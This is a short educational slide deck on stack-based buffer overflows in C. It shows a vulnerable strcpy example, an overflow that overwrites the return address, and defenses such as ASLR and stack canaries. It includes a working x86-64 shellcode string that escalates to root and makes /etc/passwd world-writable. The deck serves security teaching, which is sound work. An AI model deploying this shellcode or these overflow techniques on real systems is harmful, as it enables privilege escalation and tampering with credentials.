Stack Smashing
Exploiting C(rap) for Fun and Probably Not Profit Although You Can Do That Too
Quick! What does this do?!
while(*pwszTemp != L'\\')
*pwszServerName++ = *pwszTemp++Is this code okay?
OMG, NO!
It's how we got Blaster Worm!
Is this code okay?
This allowed one of the first Internet worms, the Morris Worm!
char buf[20];
gets(buf);Other Fun Instances Include:
- CVE-2000-0389-CVE-2000-0392: Kerberos vulnerability allows root access.
- CVE-2002-0842: Oracle 9i bug allows arbitrary code execution. Great. BTW: Oracle was called "unbreakable". Haha.
- CAN-2003-0352: MS Windows XP has a vulnerability allowing arbitrary code, enabling Blaster / MSblast / all kinds of crazy viruses.
These Oversights Hurt.
These overflows are, along with XSS, CSRF, and SQL injection, the worst security vulnerabilities you can introduce.
What's worse: they've been known about since the 80s, but it's still a very, very common vulnerability.
In 1996 in Phrack magazine, "Aleph One" wrote the classic article, "Smashing the Stack for Fun and Profit", detailing this hack. Even though the details are a bit dated, the core themes still apply, and it's quite readable!
What's Stack Smashing?
It's a type of buffer overflow, a dangerous software vulnerability that mainly affects programs written in C/C++.
What's a buffer overflow?
A buffer overflow occurs when memory is "illegally" accessed outside of the range of a variable.
Stack frame
Higher addresses
Lower addresses
int: 5
char: 'aoeuaoeuaoeuaoeu'
???
Why is C so great?
Because it is "portable assembly code", it gets as low as you can without being processor-specific. It can be easy to optimize for speed and is the standard to which application speed is held for decades.
Why is C so dangerous?
Because you have so much control, you can easily get into trouble if you mismanage a resource (memory allocation, for example).
Also, C still does some stuff for you behind the scenes that can haunt you later if you're not careful!
Why is C susceptible to buffer overflows?
- Strings = null-terminated arrays of chars
- No implicit bounds checking
- Standard library calls for strings also don't provide bounds-checking
How does a *nix Process Look in Memory?
- Every process thinks it has access to all the memory of the machine, due to the magic of virtual addressing
- For x86-64 processors, the stack grows to lower addresses, whereas the heap grows upwards
Code
Data
bss
Heap
Stack
0x80000000
0xFFFFFFFF
This whole discussion is for Linux running x86 processors. Windows, ARM, etc are similar.
Anatomy of the Stack
Function arguments are pushed onto the stack in reverse order.
The local variables are pushed onto the stack in code order.
int best_function_ever(int x, int y, char* out) {
int debug = 0;
char buffer[16] = {0};
strcpy(out, buffer);
return 0;
}Stack frame (controlled by OS, not C!)
out
y
x
%rbp
%rip
debug
buffer
Anatomy of a Function Call
Push arguments onto the stack.
Push the current frame pointer %rbp so that when the function is completed, it can return to main.
Save the current instruction pointer so that the OS knows where to resume control after the function returns.
Pop these off the stack when the function returns.
#include<stdio.h>
#include<string.h>
int best_function_ever(int x, int y, char* out) {
int debug = 0;
char buffer[16] = {0};
strcpy(out, buffer);
return 0;
}
int main(int argc, char** argv) {
char* greeting = "hey";
int result = best_function_ever(2,3,greeting);
return 0;
} movl $2, %eax
movl $3, %ecx
leaq L_.str(%rip), %rdx
movl $0, -4(%rbp)
movl %edi, -8(%rbp)
movq %rsi, -16(%rbp)
movq %rdx, -24(%rbp)
movq -24(%rbp), %rdx
movl %eax, %edi
movl %ecx, %esi
callq _best_function_ever
movl $0, %ecx
movl %eax, -28(%rbp)
movl %ecx, %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
What if I were an awful person?
Notice that there is no bounds-checking on arrays in C.
Fill up the buffer with some garbage, like 'AAAA' (i.e., the sound you should make if you see this kind of code)
'A' is ASCII code 65, or in hex, 0x41.
int main(int argc, char** argv) {
char* greeting = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
int result = best_function_ever(2,3,greeting);
return 0;
}Poorly-handled user data overflows from buffer, smashing the stack
out
y
x
%rip
%rbp
debug
buffer
$ gcc -o bad bad.c
$ ./bad
Bus errorProgram received signal SIGSEGV, Segmentation Fault.
0x41414141 in ?? ()AAAAAAAAAAAAAAAAAAAAAAAA
I broke it. So what?
Maybe I'm satisfied that I was able to bring down someone's service. But notice that I was able to overwrite the return address.
Overflows lead to Exploits
If we can gain control of the instruction pointer, we can direct the program to go somewhere more evil, I mean, more clever.
"\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05"
"\x48\x31\xd2\x66\xbe\xff\x01\x48\xbb\xff"
"\xff\xff\xff\xff\x64\x6f\x77\x48\xc1\xeb"
"\x28\x53\x48\xbb\x2f\x65\x74\x63\x2f\x73"
"\x68\x61\x53\x48\x89\xe7\x48\x31\xc0\xb0"
"\x5a\x0f\x05\x48\x31\xff\x48\x31\xc0\xb0"
"\x3c\x0f\x05"This lil' guy does the following:
setuid(0) &&
chmod ("/etc/passwd", 0777) &&
exit(0)Gives root privileges and makes all passwords editable by anyone! Charming!





Let's Break Something!
Similar Atttacks
Heap Overflows: like with the stack, except on the heap. Exploits malloc().
Integer Overflows: Exploit the fact that integers "wrap around" when very big and create zero-length buffers.
Format string attack: Use printf() to read and write memory.
Protective Mechanisms
ASLR (Address Space Layout Randomization)
Stack canaries (special bits in the stack, not a pile of birds)
Non-executable stack and heap (NX)
Probably not using C/C++ at all, really, unless you're really careful and good at coding and need the speed
Resources
- Hacking: The Art of Exploitation by Erickson
- The Shellcoder's Handbook, by Anley, et al.
- UMUC's Cybersecurity Coursera classes are fun!
- Various games or CTFs (Capture the Flags), like microcorruption.com
- Practical Reverse Engineering, by Dang & Gazet
- 24 Deadly Sins of Software Security, by Howard et al.
- Secure Coding in C and C++, by Seacord
Stack Smashing 101
By chrislambda
Stack Smashing 101
A very brief intro to buffer overflows, to be accompanied by a live lab showing an exploit.
- 1,580